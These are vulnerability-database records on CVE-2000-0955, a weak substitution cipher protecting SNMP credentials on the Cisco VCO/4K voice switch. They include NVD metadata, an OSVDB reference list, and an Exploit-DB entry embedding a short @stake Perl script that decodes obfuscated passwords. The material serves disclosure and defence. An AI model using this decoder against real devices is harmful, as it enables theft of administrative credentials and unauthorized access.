{"id": "CVE-2000-0955", "bulletinFamily": "NVD", "title": "CVE-2000-0955", "description": "Cisco Virtual Central Office 4000 (VCO/4K) uses weak encryption to store usernames and passwords in the SNMP MIB, which allows an attacker who knows the community name to crack the password and gain privileges.", "published": "2000-12-19T00:00:00", "modified": "2017-12-18T21:29:12", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0955", "reporter": "NVD", "references": ["https://exchange.xforce.ibmcloud.com/vulnerabilities/5425", "http://www.securityfocus.com/bid/1885", "http://www.atstake.com/research/advisories/2000/a102600-1.txt"], "cvelist": ["CVE-2000-0955"], "type": "cve", "lastseen": "2017-12-19T12:20:59", "history": [{"bulletin": {"assessment": {"href": "", "name": "", "system": ""}, "bulletinFamily": "NVD", "cpe": ["cpe:/a:cisco:virtual_central_office_4000:5.1.3"], "cvelist": ["CVE-2000-0955"], "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "description": "Cisco Virtual Central Office 4000 (VCO/4K) uses weak encryption to store usernames and passwords in the SNMP MIB, which allows an attacker who knows the community name to crack the password and gain privileges.", "edition": 1, "enchantments": {"score": {"modified": "2016-09-03T02:47:13", "value": 6.8}}, "hash": "16a6bebd6276586b64276943586deab1e90b5a96bb519d3590187a886032bad0", "hashmap": [{"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "scanner"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "reporter"}, {"hash": "10961166f2f2f5a4a3807ab80d04c86c", "key": "modified"}, {"hash": "056bf6c80585143236f0c4e721b376c5", "key": "cvelist"}, {"hash": "0b074077e65a998c799ad7a47a3d0d5a", "key": "cpe"}, {"hash": "6e1139dbea51b8c2b83dff39740f9e3f", "key": "references"}, {"hash": "6d3f4796275bb54c21a33b82f399cc6d", "key": "assessment"}, {"hash": "e5d275b3ebd62646b78320753699e02e", "key": "cvss"}, {"hash": "b14aecf10c269c3995b1e64893749e94", "key": "title"}, {"hash": "a31476f13971111dc513cacde635e2e8", "key": "href"}, {"hash": "b4030a6a57d8be6b424538f73c123704", "key": "description"}, {"hash": "1716b5fcbb7121af74efdc153d0166c5", "key": "type"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "bulletinFamily"}, {"hash": "9e6c6facafee6a3c7c727ace7e5e5881", "key": "published"}], "history": [], "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0955", "id": "CVE-2000-0955", "lastseen": "2016-09-03T02:47:13", "modified": "2008-09-05T16:22:17", "objectVersion": "1.2", "published": "2000-12-19T00:00:00", "references": ["http://www.securityfocus.com/bid/1885", "http://xforce.iss.net/static/5425.php", "http://www.atstake.com/research/advisories/2000/a102600-1.txt"], "reporter": "NVD", "scanner": [], "title": "CVE-2000-0955", "type": "cve", "viewCount": 0}, "differentElements": ["references", "modified"], "edition": 1, "lastseen": "2016-09-03T02:47:13"}], "edition": 2, "hashmap": [{"key": "assessment", "hash": "6d3f4796275bb54c21a33b82f399cc6d"}, {"key": "bulletinFamily", "hash": "601892ece72be3be2f57266ca2354792"}, {"key": "cpe", "hash": "0b074077e65a998c799ad7a47a3d0d5a"}, {"key": "cvelist", "hash": "056bf6c80585143236f0c4e721b376c5"}, {"key": "cvss", "hash": "e5d275b3ebd62646b78320753699e02e"}, {"key": "description", "hash": "b4030a6a57d8be6b424538f73c123704"}, {"key": "href", "hash": "a31476f13971111dc513cacde635e2e8"}, {"key": "modified", "hash": "81396f7bd4385d49446461ddb55318f3"}, {"key": "published", "hash": "9e6c6facafee6a3c7c727ace7e5e5881"}, {"key": "references", "hash": "d9702c85d3c41ee4675de9c2ee5b933a"}, {"key": "reporter", "hash": "601892ece72be3be2f57266ca2354792"}, {"key": "scanner", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "title", "hash": "b14aecf10c269c3995b1e64893749e94"}, {"key": "type", "hash": "1716b5fcbb7121af74efdc153d0166c5"}], "hash": "1bf4e52035c359fdeb025a9750acbb991b568ebb3fa683a2503e0d538e1a8d0e", "viewCount": 6, "enchantments": {"score": {"value": 7.5, "vector": "NONE", "modified": "2017-12-19T12:20:59"}, "dependencies": {"references": [{"type": "exploitdb", "idList": ["EDB-ID:20372"]}, {"type": "osvdb", "idList": ["OSVDB:8813"]}], "modified": "2017-12-19T12:20:59"}, "vulnersScore": 7.5}, "objectVersion": "1.3", "cpe": ["cpe:/a:cisco:virtual_central_office_4000:5.1.3"], "assessment": {"href": "", "name": "", "system": ""}, "scanner": []}

{"exploitdb": [{"lastseen": "2016-02-02T14:06:11", "bulletinFamily": "exploit", "description": "Cisco Virtual Central Office 4000 (VCO/4K) 5.1.3 Remote Username and Password Retrieval. CVE-2000-0955. Remote exploit for hardware platform", "modified": "2000-10-26T00:00:00", "published": "2000-10-26T00:00:00", "id": "EDB-ID:20372", "href": "https://www.exploit-db.com/exploits/20372/", "type": "exploitdb", "title": "Cisco Virtual Central Office 4000 VCO/4K 5.1.3 - Remote Username and Password Retrieval", "sourceData": "source: http://www.securityfocus.com/bid/1885/info\r\n\r\nA vulnerability exists in the Cisco Virtual Central Office 4000 (VCO/4K) programmable voice switch running software versions 5.13 and earlier.\r\n\r\nThe usernames and passwords for the device's SNMP administration interface are protected by a simple substitution cipher which can be easily defeated. As a result, if the \"encrypted\" passwords are retrieved, (for example, through the read-only community string) an attacker can obtain a list of valid usernames and passwords potentially allowing an elevation of privileges and possibly more serious consequences.\r\n\r\n#!/usr/bin/perl\r\n\r\nprintf (\"Cisco VCO/4K Password [De]Obfuscator\\n\");\r\nprintf (\"\\t\\@stake, Inc.\\n\");\r\nprintf (\"\\tRex Warren, Brian Carrier, David Goldsmith\\n\");\r\n\r\nprintf (\"Enter Password: \");\r\n$pw = <STDIN>;\r\nchop $pw;\r\n\r\nprintf(\"Result: \");\r\nfor ($pos = 0; $pos < length($pw); $pos++){\r\nprintf(\"%s\", chr(164 - ord(substr($pw, $pos, 1))));\r\n}\r\nprintf(\"\\n\");", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/20372/"}], "osvdb": [{"lastseen": "2017-04-28T13:20:03", "bulletinFamily": "software", "description": "# No description provided by the source\n\n## References:\n[Vendor Specific Advisory URL](http://www.cisco.com/warp/public/707/vco4kpasswdexposure-pub.shtml)\nOther Advisory URL: http://www.atstake.com/research/advisories/2000/a102600-1.txt\nISS X-Force ID: 5425\n[CVE-2000-0955](https://vulners.com/cve/CVE-2000-0955)\nBugtraq ID: 1885\n", "modified": "2000-10-26T00:00:00", "published": "2000-10-26T00:00:00", "href": "https://vulners.com/osvdb/OSVDB:8813", "id": "OSVDB:8813", "type": "osvdb", "title": "Cisco Virtual Central Office Weak Credential Encryption", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}]}